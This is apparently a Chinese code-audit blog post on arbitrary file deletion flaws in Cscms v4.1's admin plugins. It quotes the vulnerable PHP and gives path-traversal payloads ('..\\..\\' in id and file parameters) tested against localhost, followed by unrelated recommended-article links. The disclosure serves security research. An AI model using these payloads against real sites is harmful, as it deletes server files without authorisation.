环境搭建:

CSCMS :http://www.chshcms.com/

网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05)

程序源码下载:https://github.com/chshcms/cscms

漏洞实例一:

漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php  第160-177行:

public function del(){

$dir = $this->input->get_post('id',true);

if(empty($dir)){

getjson(L('plub_11'));

}

$dirs = array();

if(!is_array($dir)){

$dirs[] = $dir;

}else{

$dirs = $dir;

}

foreach($dirs as $dir) {

deldir(FCPATH.'attachment/backup/'.$dir);

}

$info['msg'] = L('plub_12');

$info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);

getjson($info,0);

}

漏洞利用:

1、  根目录下新建test目录作为测试:

2、  构造参数成功删除test目录

http://127.0.0.1/admin.php/basedb/del

POST:id=..\\..\\test

漏洞实例二:

漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行:

public function del(){

$ac = $this->input->get('ac',true);

$op = $this->input->get('op',true);

$dir = $this->input->get('dirs',true);

$file = $this->input->get('file');

if($ac!='mobile') $ac='pc';

if($op!='home' && $op!='user') $op='skins';

if(empty($dir)) getjson(L('plub_27'));

$skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;

if (!is_dir($skin_dir)) {  //文件

$res=unlink($skin_dir);

}else{  //目录

$res=deldir($skin_dir);

}

if($res){

$info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);

$info['msg'] = L('plub_46');

$info['turn'] = 1;

getjson($info,0);

}else{

getjson(L('plub_28'));

}

漏洞利用:

网站根目录下新建1.txt文件作为测试,构造URL成功删除文件

Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt

漏洞实例三:

漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行:

public function del(){

$dir = $this->input->get_post('dir',true);

if($dir==''){

getjson(L('plub_del_0'),1);

}

deldir(FCPATH.'plugins'.FGF.$dir.FGF);

//删除配置目录

deldir(CSCMS.$dir.FGF);

//删除模板目录

deldir(FCPATH.'tpl/admin/'.$dir.FGF);

$info['func'] = __FUNCTION__;

$info['msg'] = L('plub_del_1');

getjson($info,0);

}

漏洞利用:

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】Cscms_v4.1 任意文件删除漏洞实例的更多相关文章

  1. 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  2. 【代码审计】XIAOCMS_后台database.php页面存在任意文件删除漏洞

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  3. 【代码审计】XYHCMS V3.5任意文件删除漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  4. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  5. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  6. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  7. 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  9. 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

随机推荐

  1. js学习(一)-动态添加、修改、删除对象的属性和方法

    //-----------------------js代码--------------------------- function class1(){ } //-------------------- ...

  2. jQuery验证控件jquery.validate.js的使用介绍

    官网地址:http://bassistance.de/jquery-plugins/jquery-plugin-validation jQuery plugin: Validation 使用说明 转载 ...

  3. 自己用过的一些比较有用的css3新属性

    css3刚推出不久,虽然大多数的css3属性在很多流行的浏览器中不支持,但我个人觉得还是要尽量开始慢慢的去了解并使用css3(还有html5),因为我觉得这是一种趋势,它是一种已经被制定的标准.我并不 ...

  4. (笔记)linux增加非标波特率的方法

    1.内核修改 涉及到的内核文件包括driver/char/tty_ioctl.c和arch/xx/include/asm/termbits.h 在linux内核中,struct ktermios结构的 ...

  5. QACT 在线调试 Android O

    使用QACT调试Android O的音频时,不能在线调试,但是使用Android N却可以在线调试. 解决方法 1. adb root 2. adb remount 3. adb shell 4. c ...

  6. 近期小结 之 Servlet规范及HTTP

    最近认真看了下Servlet 3.1的规范,略有收获,如下: 如果客户端不指定编码,Servlet容器必须使用ISO-8859-1编码来处理,且不能添加相应编码信息. Servlet 3 可以手动开启 ...

  7. JNDI是什么?

    JNDI,全称 Java Naming and Directory Interface. 以数据库的配置为例,简单的说,就是将对数据库的连接设置(driverClass.URL.user.passwo ...

  8. e783. 监听对JList中项双击和三击

    // Create a list String[] items = {"A", "B", "C", "D"}; JLis ...

  9. Win10尝鲜体验——初识传说中不一样的Windows 分类: 资源分享 2015-07-24 18:27 13人阅读 评论(0) 收藏

    这几天,网上传来一个消息,虽然不知是好是坏,Win10可以下载安装了! 出于好奇,下载尝鲜,几个截图,留作纪念~ 中文,还是要好好支持的,毕竟中国有如此多的用户 可选的安装版本 许可条款也刚刚出炉,估 ...

  10. Dataguard 主库与备库的Service_Name 不一致时,如何配置客户端TNSName

    ORA11G_DG=   (DESCRIPTION_LIST=    (FAILOVER=on)    (DESCRIPTION=       (ADDRESS=(PROTOCOL = TCP)(HO ...